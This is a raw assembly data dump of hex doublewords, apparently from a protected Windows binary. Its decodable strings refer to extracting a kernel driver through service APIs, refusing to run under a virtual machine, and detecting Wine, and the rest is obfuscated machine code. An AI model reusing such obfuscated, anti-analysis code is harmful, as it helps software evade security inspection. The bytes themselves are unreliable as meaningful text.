		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 8166C48Bh
		dd 89A2E1F7h, 2C1F8585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 4CF82A46h, 0B0F501BFh
		dd 60C08B3Fh, 5B5786BEh, 9D896023h, 62C0F0Dh, 8C0Fh, 61610000h
		dd 1D65BD83h, 7500062Ch, 0D9BD8309h, 62C23h, 53501974h
		dd 3DB8C08Bh, 89000004h, 2C069185h, 6C9D8D06h, 0FF062EB1h
		dd 83585BD3h, 2C23D9BDh, 17740006h, 3DB85350h, 89000004h
		dd 2C069185h, 5B9D8D06h, 0FF062EAEh, 6A585BD3h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0BC55C355h, 394290C1h, 5E9h,	500700h, 8D0B4F32h, 62C1A1Dh
		dd 13E9h, 0CFE33B00h, 9F6B7C9Fh, 82283978h, 442DA3C8h
		dd 0DDC30CABh, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0DA395AC3h, 0C08BFA8Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A2C35040h, 83D1E415h
		dd 2C1D65BDh, 9750006h,	23D9BD83h, 7400062Ch, 8B535013h
		dd 0B8C0h, 9D8D0000h, 62EB00Eh,	585BD3FFh, 23D9BD83h, 7400062Ch
		dd 0B8535011h, 0
		dd 0AEBF9D8Dh, 0D3FF062Eh, 0EE8A585Bh, 0C810Fh,	7E90000h
		dd 10000000h, 48DE44CAh, 0C08B627Ch, 0CE9h, 138A3600h
		dd 0C688509Fh, 8082307Eh, 0BD096047h, 62C1FB1h,	6156EA80h
		dd 8D2BC08Bh, 62C1135h,	1D65BD83h, 7500062Ch, 0D9BD8309h
		dd 62C23h, 53501374h, 0B8C08Bh,	8D000000h, 2EAF409Dh, 5BD3FF06h
		dd 0D9BD8358h, 62C23h, 53501174h, 0B8h,	8D9D8D00h, 0FF062EAEh
		dd 31585BD3h, 2C0E7D95h, 7C4CBF06h, 0C08B3C5Ch,	1DD1B529h
		dd 8D0B062Ch, 62C0E01h,	0BD31C08Bh, 62C2C21h, 1D65BD83h
		dd 7500062Ch, 0D9BD8309h, 62C23h, 53501374h, 0B8C08Bh
		dd 8D000000h, 2EAFA79Dh, 5BD3FF06h, 0D9BD8358h,	62C23h
		dd 53501174h, 0B8h, 0A69D8D00h,	0FF062EAEh, 0F585BD3h
		dd 80h,	51958B00h, 8B062C25h, 1B589C0h,	8B062C0Eh, 0AD9D29C0h
		dd 83062C0Eh, 2C1D65BDh, 9750006h, 23D9BD83h, 7400062Ch
		dd 8B535013h, 0B8C0h, 9D8D0000h, 62EAED9h, 585BD3FFh, 6BC6B966h
		dd 6B9BD29h, 0B509062Ch, 62C0535h, 8166C08Bh, 8BFA80C1h
		dd 0E18166C0h, 0BD8317ADh, 62C1D65h, 83097500h,	2C23D9BDh
		dd 19740006h, 0C08B5350h, 7D0B8h, 91858900h, 8D062C06h
		dd 2EB16C9Dh, 5BD3FF06h, 0D9BD8358h, 62C23h, 53501774h
		dd 7D0B8h, 91858900h, 8D062C06h, 2EAE5B9Dh, 5BD3FF06h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F34E69Dh, 0C08BD3B7h, 18F9958Bh, 0B589062Ch
		dd 62C29B5h, 21AD85C6h,	6653062Ch, 9068FE8Bh, 0B999395Fh
		dd 5538F54Ah, 1671B5FFh, 8D0F062Ch, 6, 1CC19589h, 858D062Ch
		dd 62C3A0Ch, 10D18166h,	0F5D0FF89h, 15F58589h, 6FB2062Ch
		dd 21AD85C6h, 5757062Ch, 59D78B66h, 4520668h, 8E890h, 1BA60000h
		dd 0CFC0696Eh, 0BD8B02B2h, 62C0565h, 71B5FF59h,	0B062C16h
		dd 2C12218Dh, 0C858D06h, 6A062C3Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 6F36C350h
		dd 8BF7692Fh, 0FAB70FD6h, 0BD29D0FFh, 62C1A9Dh,	4C58589h
		dd 9531062Ch, 62C0761h,	21AD85C6h, 8B43062Ch, 2C1AC5BDh
		dd 70286806h, 8A0FBC90h, 1, 71B5FFF8h, 8D062C16h, 2C3A0C85h
		dd 0FB8B6606h, 5A35DFBAh, 81D0FF09h, 0A0AFD1EAh, 0AD85893Bh
		dd 0B1062C11h, 0AD85C653h, 4C062C21h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D5C35545h,	0FD25F7E0h, 0D199589h
		dd 0E968062Ch, 0E9D9DA1Ch, 0Bh,	5A64023Ah, 4527D09Bh, 0FF6D5479h
		dd 2C1671B5h, 0C858D06h, 8B062C3Ah, 66D0FFF8h, 89FB43BFh
		dd 2C260585h, 0C65EB206h, 2C21AD85h, 6A4606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 97B60DC3h
		dd 89F0F88Eh, 2C145185h, 0D2816606h, 14689693h,	66BADE06h
		dd 6650EABAh, 9A9D181h,	1671B5FFh, 0F56062Ch, 8Ch, 858D5F00h
		dd 62C3A0Ch, 335CFDB9h,	80D0FF2Ch, 8589F6D2h, 62C30E1h
		dd 6E9h, 4B82BD00h, 0C6142279h,	2C21AD85h, 81664706h, 68EE69DAh
		dd 8A0FB5E2h, 8D8BD08Bh, 62C0121h, 1671B5FFh, 0BF0F062Ch
		dd 0C858DFBh, 6A062C3Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 6E2DC350h, 0B36E854Bh
		dd 0D0FFCA8Bh, 53E9BA66h, 1118589h, 958B062Ch, 62C0B45h
		dd 21AD85C6h, 0F47062Ch, 0F368F8BFh, 6A83D0B5h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0B6BAC353h, 2E5AE966h, 0FFCD0322h, 2C1671B5h, 0CE8B6606h
		dd 880Fh, 858D0000h, 62C3A0Ch, 0AE9h, 0F7F61400h, 0D7381EEBh
		dd 0FF0DEEB9h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 131F23A8h, 0B1BD89C2h
		dd 89062C07h, 2C061985h, 8E806h, 0CCCC0000h, 507EE667h
		dd 4AB9F291h, 5F1B2211h, 21AD85C6h, 0E877062Ch,	0Ch, 0AAEB53CFh
		dd 0BF95CCBAh, 81B0D197h, 1D798529h, 535A062Ch,	7DF8166h
		dd 0A368596Ch, 0FF397A8h, 0C80h, 6880F00h, 8B000000h, 2C23ED95h
		dd 0C9B5FF06h, 0E9062C25h, 0Fh,	7CCD8D7Fh, 6CCF1AB1h, 0CADA6482h
		dd 8D480086h, 2C3A0C85h, 6DBD8B06h, 0FF062C1Fh,	0BF6660D0h
		dd 9589BAF8h, 62C0EA9h,	9858961h, 0C6062C16h, 2C21AD85h
		dd 81664706h, 683F3DE7h, 8728FAF6h, 0B5FFCE8Bh,	62C1671h
		dd 23A5958Bh, 858D062Ch, 62C3A0Ch, 239879B9h, 0FD0FF2Bh
		dd 384h, 0D1BF0F00h, 1258589h, 6A062Ch,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0BA49E0C3h
		dd 50D87602h, 21AD85C6h, 0F43062Ch, 178Dh, 0FE800h, 29700000h
		dd 1B891C8Ah, 5D05AB0Bh, 0E74499D9h, 5AD18B5Fh,	8E6EFC68h
		dd 718589BCh, 9062C0Ch,	2C1D2D85h, 71B5FF06h, 8B062C16h
		dd 0C858DFAh, 9062C3Ah,	2C263585h, 0E1BD8B06h, 0FF062C23h
		dd 8D8960D0h, 62C20FDh,	28B0Fh,	0C68A0000h, 6D858961h
		dd 8B062C13h, 2C2671BDh, 0AD85C606h, 45062C21h,	0C5EAF781h
		dd 696824BAh, 898E7269h, 2C189985h, 71B5FF06h, 8D062C16h
		dd 2C3A0C85h, 0BE806h, 0A7740000h, 4E783EE6h, 2F81ED1Ch
		dd 0DD9D892Bh, 5A062C08h, 0BD8BD0FFh, 62C0D89h,	24018589h
		dd 8509062Ch, 62C00F1h,	0F6E18166h, 0AD85C625h,	44062C21h
		dd 0F2EC6468h, 0FD8D0BB8h, 0B1062C2Ch, 71B5FFC7h, 81062C16h
		dd 0DD7E65D2h, 0D995333Eh, 8D062C24h, 2C3A0C85h, 66D0FF06h
		dd 0CA81CB8Bh, 2E65CE00h, 2BF18589h, 0BE9062Ch,	0EA000000h
		dd 0E91143Eh, 3BEA355Ch, 85C61A6Fh, 62C21ADh, 51006A43h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 56C3EF83h, 0CF8B9D9Ah, 5E9h,	7C235700h, 0A768198Fh
		dd 2BC0764Ah, 2C1B6DBDh, 71B5FF06h, 6A062C16h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 1ECDC356h, 928AFFAAh, 0E9F5EC7Ch, 5,	0B593D2FAh, 0C858D09h
		dd 6A062C3Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 4464C351h, 1A92D0C0h, 8B279E62h
		dd 2C0DBDBDh, 80D0FF06h, 8589AEC9h, 62C0479h, 71E5CA81h
		dd 8E974ABh, 2D000000h,	0E1931E14h, 802D6632h, 2F06B5BDh
		dd 840F0006h, 125h, 7E8h, 0E2F90800h, 0D1D2E04Ah, 6E9h
		dd 0E0D00h, 5F620200h, 697858Dh, 6A062Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 802614C3h
		dd 1F83157Bh, 8A401CB3h, 598D8BF5h, 50062C27h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0ABC35242h, 0A4AA95E9h
		dd 0FE95625h, 0F1000000h, 1CB4ED21h, 6BEB9273h,	28C0AC3Ch
		dd 665ADE73h, 16ACE8Bh,	19E99D31h, 6A062Ch, 2D49958Bh
		dd 6A062Ch, 6890Fh, 958B0000h, 62C0D01h, 11AD95FFh, 8166062Ch
		dd 89C480D9h, 2C1FA185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 49984A8Ah, 7586916h, 15800Fh
		dd 10E90000h, 0CE000000h, 6FC4BF4Ch
		dd 0BDAF8C0Dh, 0D978BF10h, 8943272Eh, 2C33FD95h, 8BFF6A06h
		dd 2C33998Dh, 0A1B5FF06h, 0E8062C1Fh, 0Dh, 5E7F353Bh, 0DED69E83h
		dd 0D893476Ah, 597DB1B0h, 4C595FFh, 0F280062Ch,	0BFC08BA9h
		dd 3DF8DB95h, 1D65BD83h, 7500062Ch, 0D9BD8309h,	62C23h
		dd 53501974h, 0D1B8C08Bh, 89000007h, 2C069185h,	6C9D8D06h
		dd 0FF062EB1h, 83585BD3h, 2C23D9BDh, 17740006h,	0D1B85350h
		dd 89000007h, 2C069185h, 5B9D8D06h, 0FF062EAEh,	60585BD3h
		dd 625B58Bh, 0B529062Ch, 62C2B2Dh, 0C08BF961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0EAC35646h, 73D17887h
		dd 0D38AF631h, 0CE9C5h,	134A0000h, 0AAAA7B5Fh, 133EA3C3h
		dd 85C629F3h, 62C21ADh,	0F7C16847h, 958B93C8h, 62C12A5h
		dd 1671B5FFh, 0FA8B062Ch, 3A0C858Dh, 6A062Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0B41F2EC3h
		dd 0B0C73346h, 89EA8A67h, 2C21B1BDh, 60D0FF06h,	2D519D8Bh
		dd 0B509062Ch, 62C0905h, 6A5061h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 101100C3h, 6CDFD043h
		dd 6880FB2h, 29000000h,	2C29D18Dh, 0A5958B06h, 0E9062C0Dh
		dd 6, 401E43B6h, 858D2458h, 62F0AD8h, 4DA2D981h, 0C7427Eh
		dd 94h,	8B666058h, 0F88B66F2h, 0B58DF561h, 62F0AD8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DFC35646h, 0D0BC8E33h
		dd 66CC8ADEh, 569EC1B9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 96C35545h, 3580A040h,	0BD8BB836h, 62C0689h
		dd 8BD0FFF5h, 2C33D595h, 0D8858D06h, 83062F0Ah,	0F060478h
		dd 1585h, 85E98000h, 0B6C85C7h,	1062Fh,	89570000h, 2C2CF59Dh
		dd 0BD835F06h, 62C0169h, 7B850F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 5BA4C355h, 6976CC2Dh, 838C05F8h, 2F0B6CBDh, 850F0006h
		dd 4Ah,	0BD8376B5h, 62C1415h, 3B840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0CEF7C356h, 1EE7DD70h, 49BF17DCh, 8952312Fh,	2C23459Dh
		dd 9585C706h, 62C32h, 66000000h, 8C66CA8Bh, 0D0BF0FDBh
		dd 0F04C3F6h, 50C84h, 0E58D2900h, 0C7062C10h, 2C09A185h
		dd 6, 0F98B6600h, 6C2BD80h, 0F00062Fh, 4085h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 175EABAEh, 9FA4159h,	0BE94Fh, 97AF0000h, 41E5B181h
		dd 9B916B4Eh, 0AD9D89E1h, 29062C20h, 2C1C25B5h,	0AD85C606h
		dd 47062C21h, 0C8C18166h, 0D38B6632h, 0E45B8668h, 65958BE3h
		dd 66062C15h, 0FFE75DBAh, 2C1671B5h, 59BD8B06h,	8D062C2Ah
		dd 2C3A0C85h, 0F1958B06h, 0FF062C23h, 10468D0h,	0EE800000h
		dd 899D8D7Eh, 6A062C31h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 96D3C357h, 0EA8F7751h
		dd 5DD8D8Bh, 2B53062Ch,	2C0611BDh, 0DE806h, 765E0000h
		dd 7832EB3Bh, 0C74F99D2h, 8B529DACh, 2C250995h,	0D0FF5A06h
		dd 191D958Bh, 858D062Ch, 62C3189h, 509FE180h, 8DF98B66h
		dd 2F067485h, 6E806h, 685B0000h, 44F340BFh, 505A04B6h
		dd 858DCA8Bh, 62EFD47h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0CBC35545h, 66787F3Fh, 0FA303BFh, 686h
		dd 28C28100h, 50319A6Ah, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0D3C35141h, 0F502054Eh, 89777BEAh, 2C18AD9Dh
		dd 995FF06h, 83062C16h,	8D8B0CC4h, 62C2235h, 8068006Ah
		dd 6A000000h, 6A006A03h, 6800h,	858D8000h, 62EFD47h, 6D95FF50h
		dd 89062C13h, 2F065785h, 0AD85C606h, 47062C21h,	0B15E8768h
		dd 71B5FFC7h, 8D062C16h, 2C3A0C85h, 6AD0FF06h, 57B5FF00h
		dd 0FF062F06h, 0A9B589D0h, 60062C24h, 0D9E88166h, 6DC78125h
		dd 616ED925h, 37D03Dh, 58830F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 7889C356h, 0CE9FC60h, 0FE000000h, 0AA7D4815h, 19FAB15Ch
		dd 61F93FF5h, 657B5FFh,	952B062Fh, 62C21A9h, 47995FFh
		dd 8E0F062Ch, 5, 7CC18166h, 0B5E99Ah, 99BA0000h, 0FF2000DBh
		dd 2F0657B5h, 719D8906h, 0FF062C2Dh, 2C047995h,	7E906h
		dd 0C7940000h, 0F0C17DBh, 0C28166F8h, 6A4F2Fh, 299DBD8Bh
		dd 6A062Ch, 94BA006Ah, 6A07962Ah, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 66EF60C6h
		dd 4A2A6800h, 0B98D89B8h, 6A062C08h, 0E98D8900h, 6A062C22h
		dd 858DF500h, 62F065Bh,	1A799589h, 0FF50062Ch, 2C136D95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 4173E162h, 0FFFF883h, 12D85h, 4890F00h
		dd 66000000h, 8D043DB9h, 2EBCE385h, 5D8D2B06h, 0FF062C2Ch
		dd 11820FD0h, 0E9000000h, 0Ch, 4FC3B651h, 2EDD21C1h, 76262263h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0DC06ACC3h, 89833F7Fh, 0DF81006Ah, 49399F99h
		dd 1D79B589h, 6A062Ch, 4C8EBA66h, 8589006Ah, 62C1659h
		dd 98BA006Ah, 6A4F4296h, 0FABF0F00h, 65B858Dh, 9D89062Fh
		dd 62C1F61h, 0DA816650h, 95FFB989h, 62C136Dh, 5DD9D89h
		dd 0F883062Ch, 8B850FFFh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 9649C353h
		dd 4D1CAEBFh, 8DD18B84h, 2F0063B5h, 22CF8106h, 8D09BE2Bh
		dd 2EAB3285h, 7E906h, 0C21A0000h, 6BDCB239h, 2585893Fh
		dd 0FF062C0Fh, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0BDE8C06Ch, 8D89A223h
		dd 62C1FC1h, 0F61B529h,	6A062Ch, 141BD23h, 95FF062Ch, 62C2401h
		dd 1B598D8Bh, 8589062Ch, 62F0657h, 15E59589h, 6A062Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h
		dd 667ECD87h, 8D2A03B9h, 2F064F85h, 0FE8B6606h,	57006A50h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0FA18B7DCh, 8916F3AAh, 2C310D95h, 6A046A06h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0CA0AC351h, 8D4262D6h, 2C119585h, 0C8B70F06h, 9E950h
		dd 96CF0000h, 0AC9CBEB5h, 6A322A20h, 11BD8B00h,	6A062C34h
		dd 9915BA00h, 0E2BF48A5h, 6A3C12DEh, 819D8901h,	66062C1Ch
		dd 0B5FFFA8Bh, 62F0657h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 84C35646h, 8795A41Ah,	0F195FF2Dh, 66062C2Bh
		dd 0E98B1DBFh, 1D0Eh, 60C08BF5h, 9E960h, 0E4430000h, 8D67F9F7h
		dd 8B6E19C5h, 9D8961FEh, 62C0AB5h, 65BD8361h, 62C1Dh, 0BD830975h
		dd 62C23D9h, 50197400h,	0B8C08B53h, 7D2h, 6918589h, 9D8D062Ch
		dd 62EB16Ch, 585BD3FFh,	23D9BD83h
		dd 7400062Ch, 0B8535017h, 7D2h,	6918589h, 9D8D062Ch, 62EAE5Bh
		dd 585BD3FFh, 591BD89h,	6A062Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 80BA09C3h, 0C08BA0C6h
		dd 0A185C7F9h, 1062C09h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7A04C351h
		dd 8D8B060Fh, 62C0695h,	0E4E7B868h, 41B5FFCEh, 8D062C0Bh
		dd 2C3A0C85h, 89D0FF06h, 2C1DAD85h, 0B3858D06h,	50062F08h
		dd 0B70858Dh, 6850062Fh, 80000001h, 1DAD95FFh, 0C00B062Ch
		dd 85C70A75h, 62C0679h,	1, 5DBD468h, 41B5FFC0h,	8D062C0Bh
		dd 2C3A0C85h, 89D0FF06h, 2C2D3985h, 858D06h, 50062EFBh
		dd 1671B5FFh, 95FF062Ch, 62C0111h, 0B74C00Bh, 858DD88Bh
		dd 62F0AB3h, 8DD3FF50h,	2F0AB385h, 38836606h, 0C70A7509h
		dd 2C00ED85h, 106h, 2595FF00h, 25062C01h, 0FFh,	7305F883h
		dd 2185C70Ah, 1062C0Fh,	0BF000000h, 4C04B173h, 0C2BD80FCh
		dd 62F06h, 3D840Fh, 0BD8B0000h,	62C11B1h, 0B6CBD83h, 0F00062Fh
		dd 3284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 3E7FD5EDh, 0B1E5A157h, 718D3381h
		dd 0E9062C1Ch, 1B4Eh, 8373F180h, 2C00EDBDh, 850F0006h
		dd 0C3h, 1D6DBD8Bh, 858D062Ch, 62F068Ch, 1B6D9589h, 7E9062Ch
		dd 3C000000h, 0E33B2EE5h, 6A509FCFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 5F5C356h
		dd 0EAF651A7h, 16A42FEh, 2681B589h, 6A062Ch, 0BD8B006Ah
		dd 62C14B9h, 13E8h, 1934D900h, 24233FDFh, 0E2B9E30Dh, 0D5EA078Ah
		dd 0AABE1BD6h, 0FF59CB8Bh, 2C11AD95h, 0D0BF0F06h, 6B68589h
		dd 6A062Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 14668BC3h, 364F82D9h, 0F317092h, 0FF6ACEB7h
		dd 0D2BF0F52h, 0B6B5FF59h, 66062F06h, 0FF35BFBAh, 2C04C595h
		dd 0E5BD8906h, 8D062C04h, 2EFAC785h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 920EAF07h
		dd 0BE05B278h, 6A504DECh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0B9C6C355h,	52D2132Fh
		dd 0FB4ED10Dh, 0CBBF0F60h, 10E960h, 2BB00000h, 8D6CD09Ah
		dd 6165386Ch, 0FE23B902h, 61610A59h, 260595FFh,	2957062Ch
		dd 2C22118Dh, 85895A06h, 62EFB51h, 0EE9h, 0AD2C1800h, 0CEF6DDF9h
		dd 0ABB7801h, 8D891BD7h, 2EFAD485h, 23D18106h, 505B61DCh
		dd 0FB51B5FFh, 830F062Eh, 8, 28C0Fh, 0C88B0000h, 11195FFh
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 9C9847C3h, 3031826h, 118589FCh, 0E9062C31h
		dd 0Fh,	0BE98090Dh, 0DFC1A589h,	897F16D7h, 8D77BD54h, 2EFB4285h
		dd 0BE806h, 0E7560000h,	0D24C13B1h, 7D62B365h, 198D8BCCh
		dd 59062C24h, 50C8BF0Fh, 197D8D8Bh, 0B5FF062Ch,	62EFB51h
		dd 0FFCB8B66h, 2C011195h, 0CF816606h, 858908F1h, 62EFB65h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F1C35242h
		dd 8DD1B70Fh, 2EFB2185h, 11E906h, 7C2F0000h, 0B136FC1Bh
		dd 53A5338Ch, 212DEE99h, 509E9AD1h, 0FB51B5FFh,	6A062Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0CC8041C3h, 959589FBh, 0FF062C24h, 2C011195h, 95036006h
		dd 62C30F1h, 8961CE8Bh,	2EFB5D85h, 0E2816606h, 858DE2C8h
		dd 62EFB14h, 1DE9BD89h,	6A50062Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7F06C357h
		dd 0B70FD539h, 51B5FFCFh, 8B062EFBh, 2C160595h,	1195FF06h
		dd 0E9062C01h, 0Eh, 4D6B3A19h, 0F964F7E9h, 0D4749DC6h
		dd 85893A88h, 62EFB61h,	2559BD89h, 858D062Ch, 62EFB2Fh
		dd 198F78B9h, 38B95061h, 0FF190AA5h, 2EFB51B5h,	0CD958906h
		dd 0FF062C1Bh, 2C011195h, 29BD2B06h, 89062C16h,	2C21C585h
		dd 10E906h, 0D5620000h,	9C9E21Eh, 4A89AD7Ch, 2CDB2E45h
		dd 858D5C06h, 62EFAE3h,	1CC18529h, 2950062Ch, 2C151185h
		dd 51B5FF06h, 6A062EFBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0BEE4C355h,	0CD9D29BDh
		dd 5810F0Ch, 0BA000000h, 6D6684Eh, 11195FFh, 830F062Ch
		dd 0Eh,	880F60h, 8B000000h, 2C273D8Dh, 85896106h, 62EFB55h
		dd 7BE24DB9h, 0F2858D36h, 6A062EFAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0EB81C351h
		dd 0CCF69BB0h, 24159D09h, 6A50062Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 89B0C355h
		dd 0FC54C257h, 5FEE8A52h, 0FB51B5FFh, 9D89062Eh, 62C1879h
		dd 11195FFh, 6A062Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8589F5C3h, 62EFB59h, 0FBD9BA66h
		dd 10468h, 0FE900h, 0E5B80000h,	5F971D92h, 4F29FF1Fh, 12A63857h
		dd 0E9858D51h, 6A062EFBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 6A0DC355h, 0FD84D6D4h
		dd 950313C0h, 62C06D9h,	9E850h,	3D380000h, 831B8121h, 897FFFC5h
		dd 2C089D95h, 858D5906h, 62EFCEDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0CFC35747h,	68964828h, 67495B50h
		dd 197DBD89h, 0F550062Ch, 61995FFh, 0BF0F062Ch,	0FC085FBh
		dd 2585h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 8144D31Bh, 0D919D01h, 0BD80062Ch
		dd 62F06C2h, 2F850F00h,	9000000h, 2C1B6195h, 1648E906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 226798C3h, 911F71C2h, 0BD835567h,	62C00EDh
		dd 17850F00h, 31000000h, 2C11F18Dh, 6CBD8306h, 62F0Bh
		dd 26840Fh, 0BF660000h,	858D931Fh, 62EFB86h, 1FC1BD89h
		dd 0EFE9062Ch, 89000015h, 2C1C9D9Dh, 3FE906h, 9D310000h
		dd 62C0049h, 0FB71858Dh, 6A062Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E96F49C3h, 11h, 65169DC8h
		dd 7C5A27BFh, 99E57994h, 7EEF0838h, 6A50BFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 884514C3h
		dd 0BED96825h, 78A0Fh, 8C0F0000h, 1, 0E9858DFCh, 81062EFBh
		dd 0A41466E2h, 81665075h, 0E87ADFD9h, 0Eh, 6535F915h, 0D11384DCh
		dd 0E8886214h, 8960D0B5h, 2C33659Dh, 8E0F06h, 61000000h
		dd 0EDBD8359h, 62C00h, 44840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 6BF194C3h
		dd 7D04F832h, 0B70F300Eh, 0F858DD6h, 60062EFDh,	89F8BF0Fh
		dd 2C20B5BDh, 0BF666106h, 0BE9DADCh, 0F000000h,	858DD7B7h
		dd 62EFCF8h, 6A50EE8Ah,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 5D9BC356h, 48B13A9Fh
		dd 0D5D8D8Bh
		dd 858D062Ch, 62EFD47h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
